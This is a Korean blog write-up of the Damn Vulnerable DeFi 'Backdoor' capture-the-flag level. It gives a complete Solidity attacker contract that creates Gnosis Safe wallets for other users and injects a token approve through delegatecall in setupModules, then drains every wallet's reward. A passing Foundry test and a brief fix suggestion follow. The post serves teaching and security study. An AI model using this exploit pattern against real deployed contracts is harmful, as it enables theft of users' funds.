티스토리 뷰

문제

 

Backdoor

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens. To make sure everything is safe and sound, the

www.damnvulnerabledefi.xyz


Gnosis Safe와 Proxy Pattern

 Gnosis Safe는 계정 추상화가 적용된 다중 서명 지갑 컨트랙트라고 합니다. 이 문제에서 중요한 부분은 아니기 때문에 소개는 이만하고 넘어가겠습니다. 다음에 시간을 내서 계정 추상화가 무엇인지 한 번 정리를 해보는 것도 좋을 것 같네요.

 

 이 문제에서 정말로 중요한 개념은 Proxy Pattern입니다. Proxy Pattern에서 발생할 수 있는 주요한 문제들로는 스토리지 충돌, 함수 선택자 충돌 그리고 delegatecall로 인한 예상치 못한 결과 등이 있습니다.

 

 비슷한 느낌의 문제로 Ethernaut 24번 문제 풀이에도 관련된 내용을 정리해 놓았으니 참고하시면 좋을 것 같습니다.

 

[Ethernaut] 24. Puzzle Wallet

1. 문제 The Ethernaut The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players. et

piatoss3612.tistory.com


취약점

 어디서 취약점이라고 분명하게 집어내긴 어려운 것 같고, 제 생각에는 컨트랙트 구조적인 문제인 것 같습니다. 굳이 집어보자면 다른 계정의 wallet(GnosisSafeProxy)을 아무나 생성할 수 있다는 것이 문제입니다.

 

 우선 컨트랙트 구조가 어떻게 되는지 그림으로 살펴보겠습니다. 다음 그림은 wallet을 생성하고 WalletRegistry에 등록하는 일련의 과정을 나타냅니다. (그림으로 정리하니까 이해하기 쉽네요)

일부 생략된 과정이 있으며 문제 풀이를 위한 중요한 포인트만 표시를 했습니다.

  1. 어떤 계정에서 GnosisSafeProxyFactory 인스턴스의 createProxyWithCallback 함수를 호출합니다.
  2. GnosisSafeProxyFactory 인스턴스는 GnosisSafeProxy 인스턴스를 생성하고 파라미터 initializer의 길이가 0보다 큰 경우, GnosisSafeProxy 인스턴스를 call 함수로 호출하고 initializer를 calldata로 전달합니다. 이때 호출되는 함수를 GnosisSafe 인스턴스의 setup 함수라고 가정합니다.
  3. GnosisSafeProxy 인스턴스는 delegatecall을 통해 GnosisSafe 인스턴스의 setup 함수를 호출합니다. delegatecall을 사용하였으므로 함수의 실행은 GnosisSafeProxy 인스턴스의 콘텍스트에서 실행됩니다.
  4. setup 함수의 파라미터 to와 data가 setupModules 함수로 전달되고, to가 zero address가 아니라면 delegatecall을 통해 to를 호출하고 data를 calldata로 전달합니다. 즉, 또 다른 함수가 GnosisSafeProxy 인스턴스의 콘텍스트에서 실행됩니다.
  5. GnosisSafeProxy 인스턴스의 설정이 마무리되면 createProxyWithCallback는 종료되기 전에 WalletRegistry 인스턴스의 proxyCreated 함수를 호출합니다.
  6. WalletRegistry 인스턴스는 생성된 wallet의 유효성을 검사하고 유효한 경우 10 DVT를 wallet으로 전송합니다.

 

 여기서 포인트는 setupModules로 실행되는 delegatecall입니다. setupModules로 실행되는 delegatecall은 GnosisSafeProxy 인스턴스의 콘텍스트에서 실행됩니다. 따라서 delegatecall로 호출된 함수 x에서 또 다른 함수 y를 호출한다면 y의 msg.sender는 GnosisSafeProxy 인스턴스의 주소가 됩니다. 함수 y에서 토큰과 관련된 함수를 호출하면 어떻게 될까요?

 

 답이 나왔습니다. setupModules 함수는 wallet으로 토큰이 전송되기 전에 실행되므로 토큰의 approve 함수를 호출하여 공격자가 transferFrom으로 토큰을 가져갈 수 있게 하면 될 것입니다.


공격

 다음과 같이 공격을 위한 컨트랙트를 작성합니다.

contract Attacker {
    address[] public users;
    WalletRegistry public walletRegistry;
    GnosisSafeProxyFactory public walletFactory;
    GnosisSafe public masterCopy;
    DamnValuableToken public dvt;

    address public owner;

    constructor(
        address[] memory _users,
        WalletRegistry _walletRegistry,
        GnosisSafeProxyFactory _walletFactory,
        GnosisSafe _masterCopy,
        DamnValuableToken _dvt
    ) {
        users = _users;
        walletRegistry = _walletRegistry;
        walletFactory = _walletFactory;
        masterCopy = _masterCopy;
        dvt = _dvt;
        owner = msg.sender;
    }

    function attack() public {
        for (uint256 i = 0; i < users.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = users[i];

            address wallet = address(
                walletFactory.createProxyWithCallback(
                    address(masterCopy),
                    abi.encodeWithSelector(
                        GnosisSafe.setup.selector,
                        owners,
                        1,
                        address(this),
                        abi.encodeWithSelector(this.approve.selector, address(dvt), address(this), type(uint256).max),
                        address(0),
                        address(0),
                        0,
                        address(0)
                    ),
                    i,
                    walletRegistry
                )
            );

            dvt.transferFrom(wallet, owner, dvt.balanceOf(wallet));
        }
    }

    function approve(address token, address spender, uint256 amount) public {
        DamnValuableToken(token).approve(spender, amount);
    }
}
vm.startPrank(attacker);

Attacker attackerContract = new Attacker(users, walletRegistry, walletFactory, masterCopy, dvt);
attackerContract.attack();

vm.stopPrank();

 우선 서명자를 attacker로 변경해 줍니다.

vm.startPrank(attacker);

 Attacker 컨트랙트를 배포하고 attack 함수를 호출합니다.

Attacker attackerContract = new Attacker(users, walletRegistry, walletFactory, masterCopy, dvt);
attackerContract.attack();

 attack 함수는 WalletRegistry에 등록된 모든 beneficiaries에 대해 createProxyWithCallback 함수를 호출하여 GnosisSafeProxy를 생성합니다.

for (uint256 i = 0; i < users.length; i++) {
    address[] memory owners = new address[](1);
    owners[0] = users[i];

    address wallet = address(
        walletFactory.createProxyWithCallback(
            address(masterCopy),
            initializer,
            i,
            walletRegistry
        )
    );
    ...
}

이때 전달되는 인수는 다음과 같습니다.

  • address _singleton : GnosisSafeProxy의 로직 레이어를 구현한 인스턴스의 주소입니다. GnosisSafe 인스턴스의 주소를 사용합니다.
  • bytes initializer : 생성된 GnosisSafeProxy에서 로직 레이어의 초기화 함수를 호출하기 위해 전달되는 calldata입니다. 이와 관련해서는 아래에서 자세히 다룹니다.
  • uint256 saltNonce : GnosisSafeProxy 생성할 때 사용되는 논스값입니다. 단순하게 반복문 변수 i를 사용했습니다.
  • IProxyCreationCallback callback : GnosisSafeProxy가 생성되고 나면 생성이 완료되었음을 알릴 callback 컨트랙트입니다. WalletRegostry 인스턴스를 사용합니다.

 createProxyWithCallback 함수는 createProxyWithNonce 함수를 호출하여 GnosisSafeProxy를 생성합니다. 이때 파라미터로 전달된 initializer를 사용해 GnosisSafeProxy의 setup 함수를 호출합니다.

function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
function createProxyWithNonce(address _singleton, bytes memory initializer, uint256 saltNonce)
    public
    returns (GnosisSafeProxy proxy)
{
    proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
    if (initializer.length > 0) {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) }
        }
    }
    emit ProxyCreation(proxy, _singleton);
}

 setup 함수를 호출하기 위한 initializer는 다음과 같이 구성되어 있습니다. setup 함수의 인수로는 WalletProxy의 proxyCreated 함수가 정상적으로 실행되기 위해 조정된 값을 사용합니다.

abi.encodeWithSelector(
	GnosisSafe.setup.selector,
	owners,
	1,
	address(this),
	abi.encodeWithSelector(this.approve.selector, address(dvt), address(this), type(uint256).max),
	address(0),
	address(0),
	0,
	address(0)
)
  • setup 함수의 선택자
  • setup 함수의 첫 번째 파라미터 : address[] calldata _owners
  • setup 함수의 두 번째 파라미터 : uint256 _threshold
  • setup 함수의 세 번째 파라미터 : address to
  • setup 함수의 네 번째 파라미터 : bytes calldata data
  • 그 외 파라미터들

 여기서 to와 data는 setupModules 함수에서 delegatecall로 호출할 대상과 호출할 함수를 지정합니다.

address(this),
abi.encodeWithSelector(this.approve.selector, address(dvt), address(this), type(uint256).max)
function setupModules(address to, bytes memory data) internal {
    require(modules[SENTINEL_MODULES] == address(0), "GS100");
    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
    if (to != address(0))
        // Setup has to complete successfully or transaction fails.
        require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}

 Attacker의 approve는 GnosisSafeProxy의 콘텍스트에서 실행이 됩니다. 따라서 DamnValuableToken의 approve 함수를 호출하는 것은 GnosisSafeProxy가 되며, 함수를 호출한 결과 GnosisSafeProxy가 Attacker에게 DVT의 무한정 사용 허가를 내려주게 됩니다. 이 때 주의할 점은 token 주소를 파라미터로 받아서 사용해야 한다는 것입니다. Attacker의 스토리지에 저장되어 있는 dvt 값을 사용하면 될 것 같지만, 이는 GnosisSafeProxy의 콘텍스트에서는 유효하지 않은 스토리지 데이터입니다.

function approve(address token, address spender, uint256 amount) public {
    DamnValuableToken(token).approve(spender, amount);
}

 GnosisSafeProxy로부터 허가를 받은 Attacker는 proxyCreated 함수에서 GnosisSafeProxy로 전송된 모든 토큰을 반복문의 마지막에서 공격자에게 전송합니다. 이로써 하나의 트랜잭션으로 WalletRegistry의 모든 토큰을 탈취할 수 있습니다.

function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
    external
    override
{
    ...
    // Pay tokens to the newly created wallet
    SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}
function attack() public {
    for (uint256 i = 0; i < users.length; i++) {
        ...
        dvt.transferFrom(wallet, owner, dvt.balanceOf(wallet));
    }
}
$ make Backdoor 
forge test --match-test testExploit --match-contract Backdoor
[⠒] Compiling...
[⠆] Compiling 2 files with 0.8.17
[⠰] Solc 0.8.17 finished in 2.56s
Compiler run successful!

Ran 1 test for test/Levels/11.backdoor/Backdoor.t.sol:Backdoor
[PASS] testExploit() (gas: 2104646)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.31ms

Ran 1 test suite in 5.31ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

 개선안이라고 할만한 것이 마땅하지 않습니다. 근본적으로는 delegatecall의 사용을 자제하는 것이 좋은데 Proxy Pattern에서는 그게 안되지 말입니다.

 

 다른 계정의 지갑을 누구나 생성할 수 있는 것이 문제라면 문제인데 tx.origin을 확인해서 beneficiaries 본인이 직접 생성하는 경우만 정상 실행되도록 하면 어떨까요? 또는 역할을 부여해서 특정 역할만 호출하도록 하면? Gnosis Safe 개발진한테 따질 수도 없고 참 어려운 문제인 것 같습니다. 떠오르는 아이디어가 있다면 댓글로 남겨주세요!

address walletOwner;
unchecked {
    walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) {
    revert OwnerIsNotABeneficiary();
}

if (tx.origin != walletOwner) {
    revert OwnerIsNotABeneficiary();
}

전체 코드

 

GitHub - piatoss3612/damn-vulnerable-defi-foundry: Damn Vulnerable DeFi - Foundry Version

Damn Vulnerable DeFi - Foundry Version. Contribute to piatoss3612/damn-vulnerable-defi-foundry development by creating an account on GitHub.

github.com

 

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 31. Stake  (0) 2024.06.05
[Damn Vulnerable DeFi] Climber  (0) 2024.04.11
[Damn Vulnerable DeFi] Free Rider  (0) 2024.03.01
[Damn Vulnerable DeFi] Puppet V2  (0) 2024.02.29
[Damn Vulnerable DeFi] Puppet  (1) 2024.02.28
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함